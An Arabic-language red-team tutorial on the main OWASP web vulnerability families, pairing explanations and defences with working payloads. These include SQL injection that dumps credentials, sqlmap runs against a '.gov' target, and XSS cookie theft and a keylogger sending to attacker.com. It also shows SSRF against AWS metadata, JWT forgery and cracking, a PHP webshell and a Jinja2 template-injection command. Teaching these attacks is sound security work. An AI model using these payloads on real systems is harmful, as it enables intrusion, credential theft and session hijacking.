الفرق الحمراء — الهجومخبير120mL25

Core Web Vulnerabilities — OWASP من شغل فعلي

SQLi و XSS و SSRF و IDOR و Auth — اللي بتقع فيها كل يوم

#SQLi#XSS#SSRF#IDOR#JWT

OWASP Top 10 — خريطة ثغرات الويب

إنت بتختبر تطبيق ويب. تبدأ منين؟

تجرّب كل payload في PayloadsAllTheThings؟

هتقعد سنة. وهتلاقي حاجة بالصدفة، لو ربنا كرّم.

تشبيه — شرح مبسط
90% من اختراقات الويب بترجع لـ 10 عائلات بس. مش 1000. لو حفظت العائلات دي بفلسفتها — بتشتغل ازاي، بتتلقط ازاي، بتتقفل ازاي — هتلاقي بقية الـ payloads بنفسك. متحفظش payloads. افهم ليه الـ payload شغّال أصلاً.
القصة الكلاسيكية: TalkTalk 2015
SQL injection بسيطة على page عمرها 10 سنين. سرقت بيانات 4 مليون عميل، وغرّمت الشركة 400 ألف جنيه إسترليني. الـ payload؟ ' OR 1=1 --. هو هو من 1998. يعني فيه ثغرات عمرها 25 سنة لسه بتاكل شركات في 2024. ليه؟ لأن "Prepared Statements" كلام بنقوله، مش بنعمله.

1. SQL Injection — حقن قواعد البيانات

تشبيه — شرح مبسط
تخيل إنك بتقول للجرسون: "هاتلي طبق اسمه كباب". يجيبه. بس لو قلتله: "كباب، وكمان افتح الخزنة"، والجرسون ده غبي بينفذ كل اللي بتقوله حرفياً، هتلاقي الكباب والفلوس على الترابيزة. - طب يعني الـ DB غبية كده يا حضرتك؟؟ ها ها ها يا مستجد.. الـ DB مش غبية، الـ developer هو اللي مش فاصل بين "بيانات" و"أوامر". الـ DB بتنفذ اللي يوصلها. وأنت بتبعتلها string فيها أمر — هتعمل ايه يعني؟

الكود الضعيف

PHP — vulnerable
$id = $_GET['id'];
$q  = "SELECT * FROM users WHERE id = $id";
// المستخدم يرسل: ?id=1 OR 1=1 --
// النتيجة: كل المستخدمين

الاستغلال خطوة بخطوة

01
اكتشاف الحقن
حط علامة اقتباس ' في كل parameter وشوف لو الـ app كسرت ورجّعت error. لو كسرت = فيه سكة.
02
تحديد عدد الأعمدة
payload
?id=1 ORDER BY 1--+
?id=1 ORDER BY 5--+   ← خطأ يعني الجدول فيه 4 أعمدة
03
استخراج البيانات بـ UNION
payload
?id=-1 UNION SELECT 1,user(),version(),database()--+
?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables--+
?id=-1 UNION SELECT 1,group_concat(username,':',password),3,4 FROM users--+
04
الأتمتة بـ sqlmap
$ sqlmap -u 'https://target.gov/p?id=1' --batch --dbs
$ sqlmap -u 'https://target.gov/p?id=1' -D appdb --tables
$ sqlmap -u 'https://target.gov/p?id=1' -D appdb -T users --dump
اللي بيشتغل فعلاً
  1. Prepared Statements دايماً — مفيش concatenation خالص. ولا مرة. اوعى.
  2. ORM محترم بـ parameterized queries.
  3. صلاحيات قاعدة البيانات محدودة (least privilege) — حساب الويب مش لازم يكون root.
  4. WAF + قواعد Sigma بتمسك بصمات sqlmap من بدري.

2. Cross-Site Scripting (XSS)

تشبيه — شرح مبسط
تخيل إنك بعت تعليق في صفحة، والموقع بيعرضه زي ما هو من غير ما ينضّفه. لو كتبت كود جوه التعليق، الكود ده هيشتغل على متصفح كل واحد بيقرا الصفحة. التعليق بقى سلاح.

أنواعها

  • Reflected XSS — بترتد من اللينك على طول.
  • Stored XSS — بتتخزّن في قاعدة البيانات. الأخطر.
  • DOM-based XSS — كلها في الـ JavaScript على المتصفح، السيرفر مش شايف حاجة.
payloads
<script>fetch('https://attacker.com/c?d='+document.cookie)</script>
"><img src=x onerror=alert(1)>
javascript:alert(document.domain)
<svg/onload=eval(atob('YWxlcnQoMSk='))>

سرقة الجلسة كاملة

JS — keylogger via stored XSS
(function(){
  let buf="";
  document.addEventListener('keydown', e => {
    buf += e.key;
    if(buf.length>40){
      navigator.sendBeacon('https://attacker.com/k', buf);
      buf="";
    }
  });
})();
الحماية
Output encoding حسب الـ context (HTML غير JS غير URL) + CSP صارم (script-src 'self') + HttpOnly + Secure + SameSite على الكوكيز. CSP لوحده بيقفل 80% من اللعبة.

3. SSRF — Server-Side Request Forgery

تشبيه — شرح مبسط
إنت بتطلب من السيرفر إنه يفتحلك لينك بدالك. لو ما تأكدش من اللينك، تخليه يفتح عناوين داخلية إنت مش هتقدر توصلها بنفسك — زي localhost أو الـ cloud metadata. السيرفر بقى بوّاب لطلباتك.

سيناريو خطير على AWS

payload
# الموقع يقبل URL لتحميل صورة
POST /api/import-image  body: {"url":"http://example.com/x.png"}

# المهاجم يبدّلها بـ:
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role"}

# النتيجة: مفاتيح AWS مؤقتة كاملة!
الحماية
  • فرض IMDSv2 دايماً (محتاج PUT token). IMDSv1 خرم مفتوح.
  • Egress allow-list من السيرفر — مش كل الدنيا مفتوحة على بعضها.
  • قفل IPs الخاصة (10.0.0.0/8, 169.254.0.0/16, ::1).
  • VPC endpoints بدل الإنترنت في كل مكان ينفع.

4. كسر الـ Authentication و JWT

هجمات بنشوفها كل يوم

  • Credential stuffing — تجربة باسوردات اتسربت قبل كده على نفس الإيميلات.
  • Password spraying — باسورد واحد شائع على آلاف الحسابات.
  • كسر JWT — تغيير الـ algorithm لـ none، أو كسر الـ secret بـ hashcat.
JWT attacks
# 1) alg:none bypass
{"alg":"none","typ":"JWT"}.{"user":"admin"}.

# 2) brute force HS256 secret
hashcat -m 16500 jwt.txt rockyou.txt

# 3) algorithm confusion RS256 → HS256

5. IDOR — Insecure Direct Object Reference

تغيّر رقم واحد في الـ URL فتلاقي بيانات شخص تاني قدامك. أبسط ثغرة في الويب وأكترها انتشاراً.

HTTP
GET /api/invoices/1042  ← فاتورتك
GET /api/invoices/1043  ← فاتورة شخص آخر! (لا يوجد فحص ملكية)
الحماية
في كل request اسأل سؤال واحد: "هل المستخدم الحالي يملك الـ resource ده فعلاً؟". ولو الإجابة لأ، ارفض. واستخدم UUIDv4 بدل أرقام تسلسلية — مش الأمن لكن بيصعّب التخمين.

6. File Upload + RCE

ترفع ملف .php أو .jsp متخفّي (shell.php.jpg) في مجلد بينفذ كود = اختراق كامل للسيرفر. قصة قديمة لسه شغالة.

PHP webshell minimal
<?php system($_GET['c']); ?>
الحماية
اتأكد من الـ Content-Type + التوقيع الفعلي للملف (magic bytes) + خزّن خارج مسار الويب + قدّم الملفات عن طريق CDN بس. مش extension validation لوحده — ده بياكلوه بسكوت.

7. Deserialization & Template Injection

الفئة دي هي الأخطر على الإطلاق: تنفيذ كود مباشر لما الـ payload المصنوع يوصل لـ unserialize أو pickle.loads أو Java readObject، أو لمحرك قوالب بيقبل تعبيرات (Jinja2, Twig, Freemarker). لو مسكت واحدة منها = RCE فوري.

SSTI Jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

الأدوات الأساسية للويب

  • Burp Suite — الـ proxy اللي هتعتمد عليه يومياً.
  • OWASP ZAP — البديل المفتوح المصدر.
  • Caido — خفيف وحديث، شغل لطيف.
  • sqlmap, wpscan, ffuf, gobuster, dalfox, kxss, gau, waybackurls.

غلطات الـ junior في اختبار الويب

اللي بيحصل لما الـ junior يبدأ
  • يبتدي بـ sqlmap على كل parameter — يقطع الـ DB في 5 دقايق، الـ ops تتعبه يطلع برّه. الـ stealth أهم من السرعة.
  • يفرح بـ XSS reflected — يكتبها Critical في التقرير. يا نجم، الـ XSS من غير context = noise. اللي مهم: stored XSS في admin panel، ولا session theft فعلية.
  • يجرّب payloads عمياني — بدل ما يفهم الـ stack. لو الـ backend Node، ما تجرّبش PHP payloads. لو Python، ما تجرّبش .NET deserialization.
  • ينسى الـ business logic — الـ IDOR والـ price tampering والـ race conditions. أكبر breaches اتعملت من business logic، مش من sqlmap.
  • ما يقراش الـ JS — كل API endpoints، كل secrets، كل feature flags جوه bundle.js. لو ما قريتوش، إنت بتلعب على نص الخريطة.

الخلاصة الناشفة

الويب مش 1000 ثغرة — الويب 10 عائلات.

الـ Prepared Statements بتقفل SQLi.

الـ CSP الصارم بيقفل XSS.

الـ ownership check في كل request بيقفل IDOR.

كله معروف من 20 سنة. السؤال: ليه لسه بيحصل؟

لأن الـ engineers بيكتبوا code بسرعة، والـ security بيكتبوا تقارير بسرعة، ومحدش بيقعد يفهم الـ "ليه" من جذره.

اكتبها على ظهر إيدك: الـ payload مش هو اللعبة — الـ "ليه الـ payload شغّال" هو اللعبة.